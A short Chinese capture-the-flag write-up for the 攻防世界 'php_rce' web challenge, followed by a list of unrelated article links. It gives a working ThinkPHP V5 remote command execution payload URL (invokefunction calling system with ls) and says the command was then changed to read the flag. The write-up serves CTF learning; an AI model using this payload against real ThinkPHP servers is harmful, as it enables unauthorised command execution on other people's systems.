当前位置： 首页 > news >正文

攻防世界-WEB-php_rce

news 2025/8/21 7:32:12

打开靶机链接

搜村ThinkPhP V5存在远程命令执行的漏洞

构建payload

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

查询当前目录文件，没有发现flag。调整payload

得到flag文件，修改执行的命令

这样就可以拿到flag

http://www.lryc.cn/news/158607.html

相关文章：

  • WRFDA资料同化实践技术
  • C++11新特性② | 左值、左值引用、右值与右值引用
  • Python Opencv实践 - Harris角点检测
  • el-upload上传图片到七牛云或阿里云
  • Web jQuery—选择器、样式和效果
  • Java和Kotlin的Field在继承中的不同表现
  • MySQL 子查询
  • Ubuntu离线或在线安装CMake
  • 后端面试话术集锦第 十七 篇：MySQL面试话术
  • ＜ 文件资源管理器 ＞ 和 ＜ 此电脑 ＞ 有什么区别？
  • 线上问诊：可视化展示
  • 如何选择合适的HTTP代理服务器
  • Car Window Control Reset
  • 序列号序列号
  • SSM(Spring-Mybatis-SpringMVC)
  • MySQL——数据的删除以及MySQL中的约束
  • 静态路由 网络实验
  • 数据结构-01 数据结构基本概念,算法时间复杂度，空间复杂度
  • 【Redis】Bitmap 使用及应用场景
  • C#，数值计算——用于积分函数与方法的Stiel类的计算方法与源程序
  • 报错：为什么数组明明有内容但打印的length是0
  • go gin gorm连接postgres postgis输出geojson
  • 4. Java 的线程安全机制之`volatile`
  • ​Vue + Element UI前端篇（二）：Vue + Element 案例 ​
  • Qt5中connect信号槽无效问题 C++
  • 服务端 TCP 连接的 TIME_WAIT 过多问题的分析与解决
  • 【Unity3D赛车游戏优化篇】【十】汽车粒子特效和引擎咆哮打造极速漂移
  • 肖sir__设计测试用例方法之编写测试用例12
  • Android 11.0 ota升级之Systemui下拉状态栏quick_settings_tiles_default值减少时更新的功能实现
  • Android Studio中创建java项目